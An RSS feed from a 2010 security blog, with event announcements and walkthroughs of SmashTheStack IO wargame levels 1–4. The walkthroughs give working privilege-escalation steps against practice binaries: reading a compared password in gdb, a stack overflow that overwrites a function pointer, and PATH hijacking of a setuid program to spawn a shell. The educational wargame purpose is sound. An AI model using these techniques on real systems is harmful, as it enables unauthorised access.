<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>onHacks</title>
	<atom:link href="http://onhacks.org/lang/en/feed/" rel="self" type="application/rss+xml" />
	<link>http://onhacks.org</link>
	<description>On Hacking Across Boundaries</description>
	<lastBuildDate>Wed, 02 Jun 2010 05:48:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Honeynet Forensics Challenge 4 in Chinese</title>
		<link>http://onhacks.org/lang/en/2010/06/02/honeynet-forensics-challenge-4-in-chinese</link>
		<comments>http://onhacks.org/lang/en/2010/06/02/honeynet-forensics-challenge-4-in-chinese#comments</comments>
		<pubDate>Wed, 02 Jun 2010 05:48:30 +0000</pubDate>
		<dc:creator>log0</dc:creator>
				<category><![CDATA[Honeypot]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Honeynet]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=871</guid>
		<description><![CDATA[Honeynet has just announced the 4th Forensics Challenge, and this time with Traditional Chinese and Simplified Chinese support! This time the test is designed to evaluate your skills on Forensics and VOIP in particular. Go prove yourself against the challenge!]]></description>
			<content:encoded><![CDATA[<p><span lang="en">Honeynet has just announced the <a href="https://honeynet.org/challenges/2010_4_voip" target="_blank">4th Forensics Challenge</a>, and this time with <a href="https://honeynet.org/challenges/2010_4_voip_traditional_cn" target="_blank">Traditional Chinese</a> and <a href="https://honeynet.org/challenges/2010_4_voip_simplified_cn" target="_blank">Simplified Chinese</a> support! This time the test is designed to evaluate your skills on Forensics and VOIP in particular. Go prove yourself against the challenge!</span></p>


]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/06/02/honeynet-forensics-challenge-4-in-chinese/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OWASP 2010 China Summit is now official!</title>
		<link>http://onhacks.org/lang/en/2010/05/25/owasp-2010-china-summit-is-now-official</link>
		<comments>http://onhacks.org/lang/en/2010/05/25/owasp-2010-china-summit-is-now-official#comments</comments>
		<pubDate>Tue, 25 May 2010 08:09:12 +0000</pubDate>
		<dc:creator>log0</dc:creator>
				<category><![CDATA[China]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[WebAppSec]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=864</guid>
		<description><![CDATA[Great news to all webappsec experts, especially those in China, OWASP 2010 China Summit is now officially dated on 20~23 October 2010 in Beijing. More details will be out as the date zeroes in! I&#8217;ll update more details here as well.]]></description>
			<content:encoded><![CDATA[<p><span lang="en">Great news to all webappsec experts, especially those in China,<br />
</span></p>
<p><span lang="en">OWASP 2010 China Summit is now officially dated on 20~23 October 2010 in Beijing. More details will be out as the date zeroes in! I&#8217;ll update more details here as well. </span></p>




]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/05/25/owasp-2010-china-summit-is-now-official/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SmashTheStack &#8211; IO Level 4</title>
		<link>http://onhacks.org/lang/en/2010/05/03/smashthestack-io-level-4</link>
		<comments>http://onhacks.org/lang/en/2010/05/03/smashthestack-io-level-4#comments</comments>
		<pubDate>Mon, 03 May 2010 01:00:37 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=840</guid>
		<description><![CDATA[Welcome to level 4. In my opinion, this is easier than the previous levels if you have knowledge on how exectuables are being looked for in OS. You have been given both executable and source code again. When we first run the program, the following result is shown. level4@io:/levels$ ./level4 uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4),1029(nosu) Looks like it [...]]]></description>
			<content:encoded><![CDATA[<p>Welcome to level 4. In my opinion, this is easier than the previous levels if you have knowledge on how exectuables are being looked for in OS. You have been given both executable and source code again. When we first run the program, the following result is shown.</p>
<blockquote><p>level4@io:/levels$ ./level4<br />
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1004(level4),1029(nosu)</p></blockquote>
<p>Looks like it is running the command id.</p>
<blockquote><p>The id command lists the real and effective user IDs and the group IDs of the user associated with the current process. This is the counterpart to the $UID, $EUID, and $GROUPS internal Bash variables. The id command shows the effective IDs only when they differ from the real ones. &#8211; From <a href="http://webtools.live2support.com/linux/id.php" target="_blank">webtools.live2support.com</a></p></blockquote>
<p>You can confirm it by looking at its source code. And yes, it does have a statement</p>
<blockquote><p>system(&#8220;id&#8221;);</p></blockquote>
<p>which call the Linux command.</p>
<p>If you are familiar with this command enough, actually it is just a piece of executable which is usually located at <em>/bin/</em>. But why you can run the command by just typing &#8220;<em>id</em>&#8220;, not &#8220;<em>/bin/id</em>&#8220;? It is because we have environment variable in our OS. In *nix system, it is PATH, you can use <em>echo $PATH</em> to see what is the current value of it.</p>
<blockquote><p>level4@io:/levels$ echo $PATH<br />
/usr/local/bin:/usr/bin:/bin:/usr/games</p></blockquote>
<p>So what we are going to do at this level are:</p>
<ol>
<li>Create a piece of code or script that call &#8220;<em>/bin/sh</em>&#8220;</li>
<li>Redirect the &#8220;<em>id</em>&#8221; command to run your script</li>
<li>Execute level4 executable</li>
</ol>
<p>Why this works because the level4 executable has euid = level5, see definition of <a href="http://linux.about.com/cs/linux101/g/euid.htm" target="_blank">euid</a>. If we bring up a shell from this executable, the shell will have level5 permission automatically. Amazing enough?</p>
<p>Actually you can only create code or scripts under <em>/tmp/</em>. We can do the following to create a script their.</p>
<blockquote><p>level4@io:/levels$ mkdir /tmp/onhacks/<br />
level4@io:/levels$ echo &#8220;/bin/sh&#8221; &#62; /tmp/onhacks/id<br />
level4@io:/levels$ chmod +x /tmp/onhacks/id</p></blockquote>
<p>Next step is to change the environment variable by running:</p>
<blockquote><p>level4@io:/levels$ PATH=/tmp/onhacks:/usr/bin:/bin:/usr/games</p></blockquote>
<p>Now, you are ready to grant the access next level. Remember to grab the password for level 5. It reminds us to utilitze what you learn, even a little trick can break a big hole. Think creatively and diversely.</p>
<p>See you in level 5.</p>
<p><span style="text-decoration: underline;"><strong>Note:</strong></span></p>
<ol>
<li>Other option: You can replace the script with a piece of C code which execute <em>execl(&#8220;/bin/sh&#8221;);</em></li>
<li>Your changes on environment variable will not affect others, it is scoped in the current session.</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/05/03/smashthestack-io-level-4/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SmashTheStack &#8211; IO Level 3</title>
		<link>http://onhacks.org/lang/en/2010/04/28/smashthestack-io-level-3</link>
		<comments>http://onhacks.org/lang/en/2010/04/28/smashthestack-io-level-3#comments</comments>
		<pubDate>Wed, 28 Apr 2010 01:00:17 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=834</guid>
		<description><![CDATA[Hi all the heroes, you are now level 3 and it is time to fight with a little boss. This is time, the monster that blocking your way requires you to write some code (or script) to finish it. Different from previous two level, this time you can have the executable and source code. As [...]]]></description>
			<content:encoded><![CDATA[<p>Hi all the heroes, you are now level 3 and it is time to fight with a little boss. This is time, the monster that blocking your way requires you to write some code (or script) to finish it. Different from previous two level, this time you can have the executable and source code. As usual, first we execute the program without parameter:</p>
<blockquote><p>level3@io:~$ /levels/level03<br />
Segmentation fault</p></blockquote>
<p>Crap! I hate seeing segmentation fault, how about giving it a parameter?</p>
<blockquote><p>level3@io:~$ /levels/level03 nosegmentationfault<br />
Address of hmm: 0x804847f</p></blockquote>
<p>The executable gives us a hint that hmm is the key at this level. Let&#8217;s attach gdb and see what is inside the program.</p>
<blockquote><p>(gdb) disass hmm<br />
Dump of assembler code for function hmm:<br />
&#8230;<br />
0x080484a8 &#60;hmm+41&#62;:    call   0&#215;8048340 &#60;execl@plt&#62;</p></blockquote>
<p>I guess we are looking at the right place, <em>hmm</em> is a function which execl &#8220;something&#8221;. By looking at the source code, we can confirm that the function is what we need. The remaining part to grant access is to use <a href="http://en.wikipedia.org/wiki/Stack_buffer_overflow" target="_blank">stack buffer overflow</a>. How can we achieve it? Go back to the source code, there is an interesting thing.</p>
<blockquote><p>int (*fptr)(int) = good;<br />
&#8230;<br />
(*fptr)((int)hmmptr);</p></blockquote>
<p>The program is using an unusual way to execute function <em>good</em>, we can take advantage of it to call <em>hmm()</em> by rewriting the value in <em>*fptr</em>. Can we do this? We need to look at how the stack buffer looks like.</p>
<p><a href="http://onhacks.org/wp-content/uploads/2010/04/smashthestack_level3_stack_buffer.png"></a><a href="http://onhacks.org/wp-content/uploads/2010/04/smashthestack_level3_stack_buffer.png"><img class="alignnone size-medium wp-image-849" title="smashthestack_level3_stack_buffer" src="http://onhacks.org/wp-content/uploads/2010/04/smashthestack_level3_stack_buffer-300x63.png" alt="" width="300" height="63" /></a></p>
<p>As you can see, the variable that is being declared later will have a smaller address. In other words, we can overwrite the values in <em>*fptr</em> by specifying more than 32 bytes to <em>buf</em>. Let&#8217;s go back to gdb and see when <em>*fptr</em> is being used to call.</p>
<blockquote><p>(gdb) disass main<br />
&#8230;<br />
0x0804859f &#60;main+240&#62;:  mov    eax,DWORD PTR [ebp-0x14]<br />
0x080485a2 &#60;main+243&#62;:  call   eax<br />
&#8230;</p></blockquote>
<p>The function is being called at 0x080485a2. Then how is the buffer looks like at that time?</p>
<blockquote><p>(gdb) break *0x080485a2<br />
Breakpoint 1 at 0x80485a2<br />
(gdb) run $(perl -e &#8216;print &#8220;B&#8221;x40&#8242;;)<br />
(gdb) x/20x $esp<br />
0xbfffdcc0:     0x0804847f      0&#215;00000000      0&#215;00000030      0&#215;00000000<br />
0xbfffdcd0:     0&#215;00000000      0&#215;00000000      0xbfffde8d      0x0804847f<br />
0xbfffdce0:     0&#215;41414141      0&#215;41414141      0&#215;41414141      0&#215;41414141<br />
0xbfffdcf0:     0&#215;41414141      0&#215;41414141      0&#215;41414141      0&#215;41414141<br />
0xbfffdd00:     0&#215;41414141      0&#215;42424242      0&#215;00000000      0&#215;00000029</p></blockquote>
<p>According to the graph above, <em>*fptr</em> is located at 0xbffdd00. From the memory dump above, the first half of the variable is being replaced by 4 &#8220;A&#8221;. But actually the last 4 bytes in <em>*fptr</em> is already good enough because address are 4 bytes long in 32-bit machines. So what you need is constructing a string with 40 characters long, which fits into variable <em>buf</em>, the last 4 bytes are storing the address of <em>hmm()</em>. Keep in mind that the address is being stored differently in memory (It  is Big-Endian).</p>
<p>You can create the parameter like this:</p>
<blockquote><p>./level3 `perl -e &#8216;print &#8220;B&#8221;x36&#8242;; printf &#60;Address of <em>hmm()</em> in Big-Endian representation&#62;`</p></blockquote>
<p>Ready to go to level 4? See you then.</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/28/smashthestack-io-level-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SmashTheStack &#8211; IO Level 2</title>
		<link>http://onhacks.org/lang/en/2010/04/26/smashthestack-io-level-2</link>
		<comments>http://onhacks.org/lang/en/2010/04/26/smashthestack-io-level-2#comments</comments>
		<pubDate>Mon, 26 Apr 2010 01:00:42 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[Fibonnaci]]></category>
		<category><![CDATA[spreadsheet]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=810</guid>
		<description><![CDATA[How do you feel about breaking the program in level 1? Do you think that you can be a hacker? Sure you can. What you need is getting familiar with tools (weapons) that you have, and always be evil. gdb is always one of the great tool for investigation. But we usually don&#8217;t use it [...]]]></description>
			<content:encoded><![CDATA[<p>How do you feel about breaking the program in level 1? Do you think that you can be a hacker? Sure you can. What you need is getting familiar with tools (weapons) that you have, and always be evil. gdb is always one of the great tool for investigation. But we usually don&#8217;t use it to discover vulnerabilities in a software because usually software has thousands or millions line of code which makes it not very possible that you can find a hole with your eye, no matter you are shortsighted or not. <img src='http://onhacks.org/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>Anyway, let&#8217;s move one to the next stage. After finishing the little thing at level1, we have a bigger thing waiting at level2 (not even a boss yet). When you first execute the program with no parameters, you will have this:</p>
<blockquote><p>Append the 39th through 42nd numbers in the sequence as a string and feed it to this binary via argv[1]. 1, 2, 3, 5, 8, 13, 21&#8230;<br />
The 4th through the 7th numbers would give you 581321</p></blockquote>
<p>Easy enough? This time, you don&#8217;t really need to break the program, you just need to find what it wants and pass it as a string. Obviously, this is a <a href="http://en.wikipedia.org/wiki/Fibonacci_number" target="_blank">Fibonacci Sequence</a> and in this case, the 45th number (1836311903) is still fit within 2<sup>31</sup>-1. So, you can just write a simple program to generate the sequence then print the 39th through 42nd numbers. Or if you don&#8217;t want to write a program, any spreadsheet software should be able to help you calculate the sequence.</p>
<p>Not much I can tell you this time. What you can learn here is, try tackle a problem in different ways, and get familiar with what you have. See you in level 3!</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/26/smashthestack-io-level-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SmashTheStack &#8211; IO Level 1</title>
		<link>http://onhacks.org/lang/en/2010/04/21/smashthestack-io-level-1</link>
		<comments>http://onhacks.org/lang/en/2010/04/21/smashthestack-io-level-1#comments</comments>
		<pubDate>Wed, 21 Apr 2010 01:00:17 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=801</guid>
		<description><![CDATA[Let&#8217;s begin our wargame from SmashTheStack IO level 1. In my opinion, this game is a good practice to get familiar with gdb, the widely used debugger in *nix system. Okay, so first of all, you need a way to ssh to the domain io.smashthestack.org at port 2224 with this credential: level1@level1. This is the [...]]]></description>
			<content:encoded><![CDATA[<p>Let&#8217;s begin our wargame from SmashTheStack IO level 1. In my opinion, this game is a good practice to get familiar with gdb, the widely used debugger in *nix system. Okay, so first of all, you need a way to ssh to the domain io.smashthestack.org at port 2224 with this credential: <em>level1@level1</em>. This is the entrance point as stated in this page: <a href="http://io.smashthestack.org:84/" target="_blank">http://io.smashthestack.org:84/</a></p>
<p>The level 1 program should be located at <em>/levels/level01</em>. When you first execute this program w/o any parameters, it will provide you its help:</p>
<blockquote><p>Usage: ./level01 &#60;password&#62;</p></blockquote>
<p>If you type something like <em>./level01 password</em>, result could be: Fail.</p>
<p>Let&#8217;s attach the gdb and see what is interesting in its main program.</p>
<blockquote><p>level1@io:/levels$ gdb ./level01<br />
(gdb) disass main<br />
&#8230;<br />
0x0804846c &#60;main+120&#62;:  call   0x804830c &#60;strncmp@plt&#62;<br />
0&#215;08048471 &#60;main+125&#62;:  test   %eax,%eax<br />
0&#215;08048473 &#60;main+127&#62;:  jne    0x804849f &#60;main+171&#62;<br />
&#8230;<br />
0&#215;08048498 &#60;main+164&#62;:  call   0x80482ec &#60;execl@plt&#62;<br />
&#8230;<br />
0x080484be &#60;main+202&#62;:  ret</p></blockquote>
<p>You will soon discover this line</p>
<blockquote><p>0x0804846c &#60;main+120&#62;:  call   0x804830c &#60;strncmp@plt&#62;</p></blockquote>
<p>is where we are interested in. Few lines from this statement, there is a <em>execl </em>call, it seems that the <em>strncmp </em>is being used in an if statement. So we can set a break point at 0x0804846c and see what are they comparing.</p>
<blockquote><p>(gdb) break *0x0804846c<br />
(gdb) run password<br />
(gdb) i r<br />
eax            0x80485c8        134514120<br />
ecx            0xbfffdebd       -1073750339<br />
&#8230;</p></blockquote>
<p>If you try to get value at the address stored in each register, you will get the password which leads you to next level, because one of the register is pointing to the expected string that will execute the <em>execl </em>statement, and another one is your input. What you need to do is to run level1 program again with the right input, then you will have access to level2 and you can retrieve the password to login as level2 by looking at <em>/home/level2/.pass</em>.</p>
<p>I am not going to tell you the actual input for level1, you are just a step away from the goal after reading my logs above. Assuming you are new to gdb, what you can learn here are:</p>
<ol>
<li>How to attach a debugger (gdb) to a program?<br />
<strong>Ans</strong>. gdb &#60;executable path&#62; or gdb -q &#60;executable path&#62;</li>
<li>How to disassemble a function in an executable?<br />
<strong>Ans</strong>. disass &#60;function name&#62;</li>
<li>How to set break point in an executable?<br />
<strong>Ans</strong>. break &#60;instruction address&#62;</li>
<li>How to run a program in gdb with parameter?<br />
<strong>Ans</strong>. run [&#60;parameter&#62;]</li>
<li>How to dump the current values of registers?<br />
<strong>Ans</strong>. info registers (&#8220;i r&#8221; in short)</li>
<li>How to look at the value of an address stored in a register?<br />
<strong>Ans</strong>. You need to figure this out. <img src='http://onhacks.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ol>
<p>I am moving on to next level, how about you?</p>
<p>Hope you enjoy playing this IO wargame.</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/21/smashthestack-io-level-1/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SmashTheStack series</title>
		<link>http://onhacks.org/lang/en/2010/04/19/smashthestack-series</link>
		<comments>http://onhacks.org/lang/en/2010/04/19/smashthestack-series#comments</comments>
		<pubDate>Mon, 19 Apr 2010 01:00:09 +0000</pubDate>
		<dc:creator>.hac</dc:creator>
				<category><![CDATA[SmashTheStack]]></category>
		<category><![CDATA[wargame]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=798</guid>
		<description><![CDATA[After disappearing for quite a long time, I am trying to continue writing something which can also prove that I am still alive. Few updates around me. I just moved from Richmond, BC to Redmond, WA. Working with my team more closely. Helping my team to start up a new project for customers who want [...]]]></description>
			<content:encoded><![CDATA[<p>After disappearing for quite a long time, I am trying to continue writing something which can also prove that I am still alive. Few updates around me.</p>
<ol>
<li>I just moved from Richmond, BC to Redmond, WA. Working with my team more closely.</li>
<li>Helping my team to start up a new project for customers who want to rebrand our product as a service.</li>
<li>Started playing wargames (in security).</li>
</ol>
<p>Yes! I am playing security wargame in SmashTheStack. The main goal is to use the program you can run in the current level to gain access to the advance level, there is always a vulnerability in the programs. It has many different types of games, depending on what vulnerability the programs have, or how you are going to break them. eg. IO, Logic, Blackbox.</p>
<p>I just started playing with the IO games, while all the programs I broke so far is depending on the input you gave. Usually, they have stack buffer overflow or heap buffer overflow issues.</p>
<p>Why I am presenting this post with subject &#8220;SmashTheStack series&#8221;? Because I would like to present the solutions (or hints) of the levels that I already solved. In the next few months, I will focus on breaking the programs there. Until I have any bright idea on a security topic that I would like to work on or share. BTW, this game is good for you to play with during leisure time.</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/04/19/smashthestack-series/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>OWASP Testing Guide V3 Chinese Version</title>
		<link>http://onhacks.org/lang/en/2010/01/27/owasp-testing-guide-v3-chinese</link>
		<comments>http://onhacks.org/lang/en/2010/01/27/owasp-testing-guide-v3-chinese#comments</comments>
		<pubDate>Tue, 26 Jan 2010 16:17:31 +0000</pubDate>
		<dc:creator>log0</dc:creator>
				<category><![CDATA[China]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[Paper]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=786</guid>
		<description><![CDATA[OWASP Testing Guide V3 Chinese Version is finally published! You can download in the OWASP China-Mainland chapter page. If you are interested in web application security, it is highly encouraged to check it out. There will be things learnt. OWASP China Research Group To better facilitate the activities of OWASP in China for consistent and [...]]]></description>
			<content:encoded><![CDATA[<p><span lang="en"><a href="http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf" target="_blank">OWASP Testing Guide V3 Chinese Version</a></span><span lang="en"> is finally published! You can <a href="http://www.owasp.org/images/0/06/OWASP%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97%28%E4%B8%AD%E6%96%87%EF%BC%89.pdf" target="_blank">download</a> in the <a href="http://www.owasp.org/index.php/China-Mainland" target="_blank">OWASP China-Mainland chapter</a> page. If you are interested in web application security, it is highly encouraged to check it out. There will be things learnt.</span></p>
<blockquote><p><span lang="en">OWASP China Research Group</span></p>
<p><span lang="en">To better facilitate the activities of OWASP in China for consistent and perpetual continuity, OWASP China has formed regional groups mainly tasked to support the regional sharing and discussion. We welcome you to recommend an individual to take the lead. OWASP China Research Group currently aims to build upon and go into the depths of the foundation laid out by the OWASP Foundation, plus translation of the OWASP resources ectera. There will be activities such as training in different regions. OWASP China QQ Discussion Group 78238096<br />
</span></p>
<p><span lang="en"><em>(My translation above)</em><br />
</span></p></blockquote>
<p><span lang="en">I hope to improve China&#8217;s internet security. I succeeded Frank and Rip on the last iteration of this project, and that is why my December has been busy all along, and took much of my time.</span></p>
<p><span lang="en">Thanks a lot to the people below, and especially the many Microsoft people who worked so hard even during Christmas to produce this testing guide. Sorted from last name (Mandarin) :</span></p>
<ul>
<li><span lang="en">Aaron (DBAPPSECURITY)</span></li>
<li><span lang="en">Joanne Cheng (Microsoft)</span></li>
<li><span lang="en">Frank Fan (DBAPPSECURITY)</span></li>
<li><span lang="en">Karin He (Microsoft)</span></li>
<li><span lang="en">Adams Li (Microsoft)</span></li>
<li><span lang="en">RIP (OWASP China Chair)</span></li>
<li><span lang="en">Will Shen (Microsoft)</span></li>
<li><span lang="en">Chao Wang (Microsoft)</span></li>
<li><span lang="en">Wei Wei (Microsoft)</span></li>
<li><span lang="en">Pak Ming Cheung (Microsoft)</span></li>
<li><span lang="en">Eric Chio (Microsoft)</span></li>
</ul>
<p><span lang="en">Hope that readers of the guide will benefit much from it!</span></p>












]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/01/27/owasp-testing-guide-v3-chinese/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Recent Updates From Log0</title>
		<link>http://onhacks.org/lang/en/2010/01/18/recent-updates-from-log0</link>
		<comments>http://onhacks.org/lang/en/2010/01/18/recent-updates-from-log0#comments</comments>
		<pubDate>Mon, 18 Jan 2010 15:08:29 +0000</pubDate>
		<dc:creator>log0</dc:creator>
				<category><![CDATA[Random Chatter]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=784</guid>
		<description><![CDATA[Hi guys this is Log0, not that I&#8217;m dead, but I&#8217;m very well alive. For the whole December and some January, I&#8217;ve been working for OWASP China on some projects &#8211; thus taking my full attention. And I have been busy on picking up some bits of life and my side project &#8211; yes! Working [...]]]></description>
			<content:encoded><![CDATA[<p>Hi guys this is Log0, not that I&#8217;m dead, but I&#8217;m very well alive.</p>
<p>For the whole December and some January, I&#8217;ve been working for OWASP China on some projects &#8211; thus taking my full attention. And I have been busy on picking up some bits of life and my side project &#8211; yes! Working on it! It&#8217;s coming in this January!</p>
<p>The 2009 is a fantastic year! I am aiming well for 2010 and will aim to advance fully into my interests. More to that next time&#8230; meanwhile, stay tooned. =)</p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/01/18/recent-updates-from-log0/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Caveats of MD5 Naming</title>
		<link>http://onhacks.org/lang/en/2010/01/18/caveats-of-md5-naming</link>
		<comments>http://onhacks.org/lang/en/2010/01/18/caveats-of-md5-naming#comments</comments>
		<pubDate>Mon, 18 Jan 2010 15:04:44 +0000</pubDate>
		<dc:creator>log0</dc:creator>
				<category><![CDATA[Malware]]></category>

		<guid isPermaLink="false">http://onhacks.org/?p=781</guid>
		<description><![CDATA[Brief note&#8230; You might have noticed that I used md5 as filenames in the previous (old!) post. In most cases, it is fine. However, what if the malware depends on a file called hgz.dll? You can calculate hgz.dll as md5, then find the filename out, now put that in the VM again &#8211; fine. But [...]]]></description>
			<content:encoded><![CDATA[<p><span lang="en">Brief note&#8230; </span></p>
<p><span lang="en">You might have noticed that I used md5 as filenames in the previous (old!) post. In most cases, it is fine.</span></p>
<p><span lang="en">However, what if the malware depends on a file called hgz.dll? You can calculate hgz.dll as md5, then find the filename out, now put that in the VM again &#8211; fine. But you see it is a troublesome process&#8230; that you can&#8217;t easily automate. There are other cases&#8230; of course.<br />
</span></p>
<p><span lang="en">Well, you get the point!</span></p>
]]></content:encoded>
			<wfw:commentRss>http://onhacks.org/lang/en/2010/01/18/caveats-of-md5-naming/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
